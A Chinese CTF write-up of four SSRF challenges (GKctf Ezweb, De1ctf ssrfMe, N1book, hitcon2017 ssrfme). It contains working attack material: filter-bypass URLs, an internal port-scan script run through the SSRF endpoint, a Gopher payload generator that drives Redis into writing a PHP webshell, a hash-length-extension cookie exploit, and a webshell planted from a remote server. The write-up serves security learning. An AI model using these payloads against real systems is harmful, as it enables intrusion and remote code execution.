ssrf解题记录
最近工作需要做一些Web的代码审计,而我Web方面还比较薄弱,决定通过一些ctf的题目打打审计基础,练练思维,在博客上准备开几个专题专门记录刷题的过程。
pwn题最近做的也很少,也要开始做题了。
2020 GKctf:Ezweb
题目打开如下:
查看前端页面源码发现hint:get方式提交secret参数。传递secret参数之后发现后端执行了ifconfig命令。
有了内网ip之后,尝试在输入框输入ip地址,然后发现会对服务器的资源进行请求,请求到资源的结果会显示在页面前端。
php中常见的请求服务器资源的函数有file_get_content(),curl_exec(),fsockopen(),这些函数都是有可能造成ssrf()的危险函数。题目做到这里的时候,我感觉我打黑盒的经验还很欠缺。
在url中我们尝试ifconfig中输出的三个ip,发现设置了黑名单过滤了localhost的ip。
我首先尝试了使用php://filter来读取index.php的源码:
php://filter/read=convert.base64-encode/resource=index.php
但是页面没有回显,然后我又尝试通过file://伪协议来访问本地文件系统获取index.php的源码。
file://var/www/html/index.php
发现又是黑名单,但是我第一下没有想到是过滤了"//",我以为是过滤了file伪协议,走了很多弯路,后来看了别人的writeup,又看了php文档,文档中写到了这样的内容:
"//"被过滤的时候,可以尝试通过"/"和"///"来进行绕过,通过单反斜杠可以绕过黑名单,获取index.php的源码。
这篇文章中还记录了一些有意思的ssrf的trick:https://www.cnblogs.com/w1hg/p/14363840.html
审计代码:
<?php
function curl($url){
$ch = curl_init();
// 初始化curl会话
curl_setopt($ch, CURLOPT_URL, $url);
// curl_setopt设置curl的选项,CURLOPT_URL返回$url的值
curl_setopt($ch, CURLOPT_HEADER, 0);
// CURLOPT_HEADER启用时会将头文件的信息作为数据流输出
echo curl_exec($ch);
curl_close($ch);
# 关闭curl链接
}
if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."
";
if(preg_match('/file://|dict|../|127.0.0.1|localhost/is', $url,$match))
{
# 过滤"file://"
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>
不能使用php://filter来读取文件的原因也找到了。curl_exec()函数支持http://和file://,但是不支持php://filter,所以这里只能通过file://来访问服务器本地文件。
ifconfig前面其实是给出了内网的网段。ssrf服务器端伪造请求本身就是对于请求的资源没有做出合理的限制,导致通过Web服务器突破了网络边界,从而对内网进行了入侵,现在Web服务器提供了一个url接口,通过curl_exec()来执行资源请求,我们可以借助http服务来实现一个内网主机存活和端口扫描的脚本。或者通过burpsuite intruder直接扫描也可以。
import requests
import time
ports = ['80','6379','3306','8080','8000']
session = requests.session()
C_ip = "10.0.27." #内网ip网段
for i in range(1,255):
ip = C_ip + str(i)
for port in ports:
url = 'http://4b4cb162-9ccc-447b-9703-8e551f1d89cb.node4.buuoj.cn/index.php?url=%s:%s&submit=1'%(ip,port)
try:
res = session.get(url,timeout=3)
if len(res.text) != 0:
print(ip,port,'is open')
except:
continue
print('Done.')
测试之后发现内网10.0.27.6这台主机是目标靶机。
扫描的过程中发现开放了6379端口,6379端口是redis的默认端口,通过ssrf进而攻击内网redis服务也是常见的套路之一。
ssrf攻击redis服务实现RCE主要的利用有两种,一种是利用header CRLF注入,一种是利用gopher来进行注入。
https://joner11234.github.io/article/9d7d2c7d.html
https://blog.chaitin.cn/gopher-attack-surfaces/
下面两篇文章都讲到了如何利用gopher协议和CRLF注入来拓展ssrf的攻击面,我这里也做一点自己的总结。
redis协议报文格式如下:
*<参数数量> CR LF $<参数 1 的字节数量> CR LF <参数 1 的数据> CR LF ... $<参数 N 的字节数量> CR LF <参数 N 的数据> CR LF
redis协议的是语句是依靠换行符来进行截断的,如果在redis协议报文中构造恶意的" ",我们就可以在其中插入shell语句或者php语句,从而写入文件,通过反弹shell或者phpshell来实现RCE。
gopher协议是internal早期的一种协议,除了可以返送get和post请求之外,还可以访问redis,ftp等其他端口(这些端口一般又只在内网开放,这种情况下,利用gopher协议就可以极大地拓展攻击面)。
可以利用一个工具来生成gopher协议的payload:Gopherus。
或者利用其他师傅写的一个脚本专门生成phpshell:
import urllib
protocol="gopher://"
ip="10.0.27.6"
port="6379"
#shell="
<?php system("cat /flag");?>
"
shell="
<?php system($_GET['cmd']);?>"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="
"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print(payload)
De1ctf 2019:ssrfMe
一道python的ssrf题目,题目给出了源码app.py,审计源码:
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
# 生成16位随机数secert_key
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
# 每个ip创建一个文件夹
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
# 检查sign是否生成
# geneSign路由生成key,在Task.exec()方法调用前需要先访问geneSign路由
# 这里利用到哈希拓展攻击
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
# action中存在"scan"时,写入临时文件result.txt
resp = scan(self.param)
# scan函数中存在向url请求读入资源的操作
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
# 网页状态码修改为200
if "read" in self.action:
# 如果action中存在"read"字段时,从临时文件中读取内容写入result
f = open("./%s/result.txt" % self.sandbox, 'r')
# 闭合格式化字符串读取文件?
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
# param=>get传参进行,unquote进行解码
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
# 获取访问ip
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
# action = scan
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
# 读取code.txt的值并返回
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
# scan函数中存在向其他url请求资源的情况
# urlopen(param),param参数为不可信输入,且未经处理到达污染汇聚点
# 题目中提示./flag.txt,直接访问本地文件任意文件读
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
# 计算secert_key,param,action的和的md5值
# secret_key不可控,param是data,action是contral_data,./De1ta路由中param和action都是可控的
# 哈希拓展攻击的场景:
# 1.准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)
# 2.让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文
# 3.服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值
# {secret,data,control_data}
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
# 去除空字符并且全部小写
if check.startswith("gopher") or check.startswith("file"):
# startswith:如果字符串以指定的prefix开头,返回true
# param函数的开头禁用了gopher协议和file协议,实际上是限制对内网资源的访问
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
源码中有三个路由,三个路由对应的功能做一个分析:
1."./":将源代码返回在前端页面上;
2."./geneSign":首先生成了16位的随机数secret_key,然后与param和action参数的值进行拼接,返回字符串的md5值;
3."./De1ta":首先赋值变量,然后调用waf函数检查param中是否存在特定的字符串,然后实例化Task类并且调用Exec方法。Exec方法中首先调用checkSign函数检查cookie中的sign与(secret_key+param+action)返回的md5值是否相等,如果相等的话检查action参数中是否存在"scan"字符串,如果存在"scan"字符串的话,调用open函数打开tmpfile,调用scan函数获取url资源并且写入文件。在调用scan函数的过程中,没有对要获取的资源做出限制,造成ssrf漏洞。如果action参数中存在"read"字符串的话,打开tmpfile并且读入tmpfile的值到result['data']中,最后返回result。
题目给出了提示,flag在“./flag.txt”中。首先访问"./geneSign"路由,param参数的值为"./flag.txt",action变量的值是硬编码的,此时生成一个sign。
然后需要了解一下哈希拓展攻击:https://www.cnblogs.com/pcat/p/5478509.html
这个场景就是一个很明显的哈希拓展攻击的场景,由于在Exec方法中,param参数和action参数我们都是可控的,哈希拓展攻击使用到的工具是hashpump,具体使用方法如图所示:
Input Signature表示的是初始的哈希值,Input Data是最初contral_data的值,Input Key Length是secret_key和data字符串的长度和,Input Data是contral_data中新添加内容的值。
最终后面生成的是第二次要输入的哈希值和最终的contral_data。写一个简单的requests脚本发送数据包:
import requests
import hashlib
import hashpumpy
url = 'http://f9552bae-8ce4-4ca5-9bc4-e435d7f197dc.node4.buuoj.cn/De1ta'
param = '?param=flag.txt'
payload = url + param
cookies = {"sign":"2cbc83f4b2c2b2f994125f37facbf0b4",
"action":"scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read"}
r = requests.get(payload,cookies=cookies)
print(r.text)
这道题看别的师傅的writeup还有一种简便的做法,思路比较巧妙:
既然两次都是字符串拼接,那在geneSign路由中param=flag.txtread,action=scan,拼接的结果是"flag.txtreadscan",在De1ta路由中,param=flag.txt,action=readscan,拼接的结果是"flag.txtreadscan",依然可以绕过校验。
N1book:ssrf Training
打开界面如下,challege.php提供了源码:
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?://.*(/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
# 通过正则表达式限制url访问的协议,url中只允许http协议和https协议
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
# 限制访问内网ip
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
# 将curl_exec获取的信息以字符串返回,而不直接输出
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
# 获取传输的信息
if ($result_info['redirect_url'])
# 如果存在重定向
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>
通过正则限制了url格式,白名单只允许http和https两个协议访问。题目提示了flag.php,输入url直接文件读即可:
hitcon2017 ssrfme
题目给出源码,审计一下:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
# HTTP_X_FORWARDED_FOR,返回x_forwarded_for
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
# 返回以","分割的数组
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
# $_SERVER["REMOTE_ADDR"]可控
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
# escapeshellarg把字符转码为可以在shell中使用的参数
# 请求url资源
# vps上保存hack.php
$info = pathinfo($_GET["filename"]);
# pathinfo以数组的形式返回文件路径
# dirname,basename(文件名全名),extension(拓展名),filename(文件名)
# 控制filename 要实现任意文件写需要突破目录限制
$dir = str_replace(".", "", basename($info["dirname"]));
# 输出当前目录
@mkdir($dir);
@chdir($dir);
# 进入目录: ./sandbox/md5_hash/dir
@file_put_contents(basename($info["basename"]), $data);
# 文件中写入从url中获取的资源
highlight_file(__FILE__);
# phpshell需要绕过目录限制
?>
可以看到,源码中实现了通过shell_exec调用GET命令来请求url资源,并且将请求到的内容写入本地文件的操作,如果我们把webshell放在vps上,然后GET发起请求并且写入文件的话,就可以把webshell写入到本地文件中去。但是写入的文件目录是有限制的,以我开始的想法,这道题目的意思就是想办法绕过目录限制写入webshell来rce。
感觉比较难办的是basename,查阅文档有如下注释。
这样一来,似乎只能在sanbox目录下写入文件了,如果是在根目录下,好像没办法传Webshell。
开始我以为sanbox是根目录下的目录,后来仔细一看是相对路径,是在/var/www/html目录下的,那这个好办了,我在我的vps上先写好马,然后直接写入到相应目录下用蚁剑直接连接即可。
蚁剑连接后,根目录下可以看到flag和readflag,执行readflag就可以读出文件。
预期解
题解中解法主要是考察GET命令执行。
GET是linux一个内置的命令,用来发送get请求,GET命令支持file协议,也就是说可以读取文件和目录结构。同时,只要构造文件名(使文件名为命令加管道符的结构),在文件存在的情况下,GET也可以通过调用perl中open函数实现命令执行的目的。
然后访问111这个文件就可以看到根目录结构。
然后创建命令执行的文件
将file协议访问文件的内容保存到flag文件中去。
访问文件,获取flag。